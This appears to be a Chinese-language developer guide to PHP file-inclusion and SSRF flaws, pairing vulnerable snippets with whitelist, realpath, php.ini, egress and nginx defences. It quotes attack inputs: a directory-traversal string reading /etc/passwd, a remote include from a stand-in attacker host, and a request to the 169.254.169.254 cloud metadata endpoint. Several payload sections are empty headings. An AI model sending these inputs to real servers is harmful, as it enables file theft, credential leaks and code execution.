菜鸟-创作你的创作

PHP安全漏洞之文件包含与SSRF攻击全解析

下面是一份面向开发者和安全工程师的深入指南,覆盖 PHP 中的文件包含(LFI/RFI/包含链)与 SSRF(服务器端请求伪造):概念、常见利用链、检测方法、详细缓解措施、代码级安全实践、运维/网络防护与复现/测试技巧。愿这份指南能当成你查漏洞、修漏洞与写安全代码时的“活手册”。

我把内容分成几个清晰模块:概念与危害、典型漏洞示例(易被忽视的变体)、利用技巧(LFI→RCE、SSRF→内网/元数据渗透等)、检测/复现方式、代码级防护与最佳实践、运维/网络防护、检测工具与CI集成、响应与补救。每一节都给出可复制的代码片段与具体配置建议。


一、基础概念与危害概览

文件包含(File Inclusion)

危害:任意文件读取、敏感信息泄露(配置、私钥)、命令执行、持久后门注入、横向扩展(攻击其他主机)等。

SSRF(Server-Side Request Forgery)

危害:内网端口扫描、敏感接口访问(Redis、Elasticsearch、Kubernetes API)、元数据泄露(回传 token/credentials)、远程请求打点(用于 CSRF 掩盖)等。


二、典型漏洞示例与利用链(包含细节)

下面是一些常见易出错的片段与如何被利用。

1) 直接包含用户输入(危险示例)

// BAD
$page = $_GET['page'];
include "/var/www/html/pages/$page.php";

若 page=../../../../etc/passwd%00(历史上 null byte可绕过),或 page=http://attacker/shell(若 allow_url_include=On),就会被利用。

2) file_get_contents 用于读取用户指定 URL(SSRF)

$url = $_GET['url'];
$data = file_get_contents($url); // SSRF 可控

若 url=http://169.254.169.254/latest/meta-data/,即可泄露元数据。或者使用 gopher:// 可触发复杂 TCP 交互。

3) log poisoning(LFI → RCE)

4) phar:// 利用(反序列化链)

5) php://filter 绕过

6) SSRF 对云元数据服务的攻击


三、检测与复现(测试技巧)

被动与主动检测

测试工具

SSRF 可用的检测 payloads(示例)


四、代码级防护与安全实践(最重要)

核心原则:不要把原始用户输入传入文件读取/包含/网络请求函数。总是使用显式白名单、最小权限、路径归一化与检查。

1) 永不直接包含用户输入

include $_GET['tpl']; // 绝对禁止

好(白名单映射)

$pages = [
    'home' => '/var/www/html/pages/home.php',
    'about' => '/var/www/html/pages/about.php',
];

$key = $_GET['page'] ?? 'home';
if (!array_key_exists($key, $pages)) {
    http_response_code(404); exit;
}
include $pages[$key];

只允许预定义的键名,不接受任意路径。

2) 使用 realpath 与目录检测(防止目录穿越)

$base = '/var/www/html/pages/';
$path = realpath($base . $user_input);
if ($path === false || strpos($path, $base) !== 0) {
    throw new Exception('Invalid path');
}
include $path;

注意:realpath 会解析符号链接;也要确保 $base 末尾处理一致。

3) 禁用远程包含

在 php.ini

allow_url_include = Off
allow_url_fopen = Off   ; 若真的不需要远程访问,可关掉

allow_url_include=Off 可防止 include 'http://...'allow_url_fopen 影响 file_get_contents 等;若不需要,建议也关闭,但部分应用可能需要开启(需要评估)。

4) 对所有网络请求使用白名单与端口检查(SSRF)

不要把用户提供的 URL 直接传给 file_get_contents 或 curl。做两层防护:

a) URL 解析与 IP 解析

$u = parse_url($url);
if (!in_array($u['scheme'], ['http','https'])) { throw ...; } // 阻止 file:// gopher:// 等
$host = $u['host'];
$ips = dns_get_record($host, DNS_A + DNS_AAAA);
if (empty($ips)) throw ...;
// 解析首个 IP
$ip = $ips[0]['ip'] ?? $ips[0]['ipv6'] ?? null;
if (!$ip) throw ...;
// 判断是否在私有网段
function is_private_ip($ip) { /* implement RFC1918, ::1, link-local, 169.254.169.254等 */ }
if (is_private_ip($ip)) throw new Exception('disallowed');

注意:攻击者可通过 DNS rebinding 或通过短时间切换 DNS 指向内网的方式绕过。进一步推荐使用直接禁止目标为私有 IP 的 egress

b) 使用代理/网关进行统一访问

5) 对流包装器做限制

PHP 支持很多流包装器(php://zip://phar://data://expect://gopher:// 等)。许多利用依赖于这些包装器。尽量禁用不需要的包装器或在配置中限制。例如在 allow_url_fopen 关闭时,也可以在代码中检测 Scheme。

6) 文件上传与文件包含交互(非常常见)

示例:

$dst = '/var/www/uploads/' . bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($_FILES['f']['tmp_name'], $dst);
// 设置 chmod 0644,且 nginx 禁止在该目录执行 php

nginx 配置示例(禁止 PHP 执行):

location /uploads/ {
    location ~ \.php$ { return 404; }
    # 或 root 指向 uploads 目录且没有 php-fpm fastcgi_pass
}

7) 防止日志注入 / log poisoning

8) 对 unserialize() 进行限制(与文件包含/SSRF 组合利用)

9) 使用库与函数的安全替代

示例(curl + host resolve check):

$host = parse_url($url, PHP_URL_HOST);
$ips = dns_get_record($host, DNS_A+DNS_AAAA);
$ip = $ips[0]['ip'] ?? $ips[0]['ipv6'] ?? null;
if (is_private_ip($ip)) throw new Exception('forbidden');
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
$response = curl_exec($ch);

注意 DNS 污染或短期改变仍可能绕过。最稳妥的是 禁止后端访问私有网段(网络层面,而不是仅靠应用层)。


五、运维与网络层面防护(更高可信度)

1) 网络出口策略(强烈建议)

2) 云元数据安全(云平台专用)

3) 使用 WAF 与流量过滤

4) 容器与最小权限


六、实操检测Payload与复现技巧(红队式)

LFI 检测 payloads(快速):

SSRF 探测方法:


七、自动化检测与CI集成

静态代码分析

动态扫描(CI)


八、响应、日志与补救(被利用后的处理)

  1. 立刻断网或限制出站流量(隔离受影响主机)。
  2. 采集内存/磁盘快照(用于取证)并保全日志。
  3. 查看 webserver/log 文件、上传目录、cron jobs 是否被修改。
  4. 扫描一遍系统是否有 WebShell(查找 <?php 关键字、eval、base64_decode 等)。
  5. 更改所有暴露密钥(若怀疑元数据泄露)并重新部署。
  6. 在修补完代码后恢复服务,并做完整的回归测试与漏洞复测。

九、实用代码片段汇总(安全 vs 不安全对照)

不安全:直接 include 用户输入

include $_GET['file'];

安全:白名单 + realpath

$map = [
    'home' => '/var/www/html/pages/home.php',
    'about' => '/var/www/html/pages/about.php',
];
$key = $_GET['page'] ?? 'home';
if (!isset($map[$key])) { http_response_code(404); exit; }
include $map[$key];

不安全:直接 file_get_contents($_GET[‘url’])

$data = file_get_contents($_GET['url']);

安全:解析+IP白名单+curl

function is_private_ip($ip) {
    // 检查 RFC1918、127.0.0.1、169.254.169.254、::1 等
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
        return true;
    }
    return false;
}

$url = $_GET['url'];
$parse = parse_url($url);
if (!$parse || !in_array($parse['scheme'], ['http','https'])) {
    throw new Exception('invalid url');
}
$host = $parse['host'];
$records = dns_get_record($host, DNS_A + DNS_AAAA);
$ip = $records[0]['ip'] ?? $records[0]['ipv6'] ?? null;
if (!$ip || is_private_ip($ip)) {
    throw new Exception('forbidden host');
}
$ch = curl_init($url);
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_TIMEOUT => 5,
    CURLOPT_CONNECTTIMEOUT => 3,
]);
$out = curl_exec($ch);

注意:上面判断仍可被 DNS rebinding 或短时间 DNS TTL 攻击绕过。要稳妥必须做 网络层限制(禁止访问内网地址)或走内部代理。


十、附:实用参考清单(快速执行)


结语与下一步建议

这份指南已覆盖从代码到网络层、从检测到修复的完整路径。下一步我可以为你做其中任意一项的“落地工作”:

  1. 代码审计脚本:扫描项目中所有 include/require/file_get_contents/curl_exec 的危险用法并输出可疑位置(自动化 SAST 小工具)。
  2. 补丁示例:把你现有的某段有问题的代码贴给我,我帮你改写成安全版本并给出测试用例。
  3. 检测脚本:给你一个用于测试 SSRF/LFI 的 Burp 扩展或 curl 列表(包含 interactsh 集成)。
  4. 运维方案:按你云厂商(AWS / GCP / 阿里云)定制网络 egress 与 IMDS 防护脚本。

退出移动版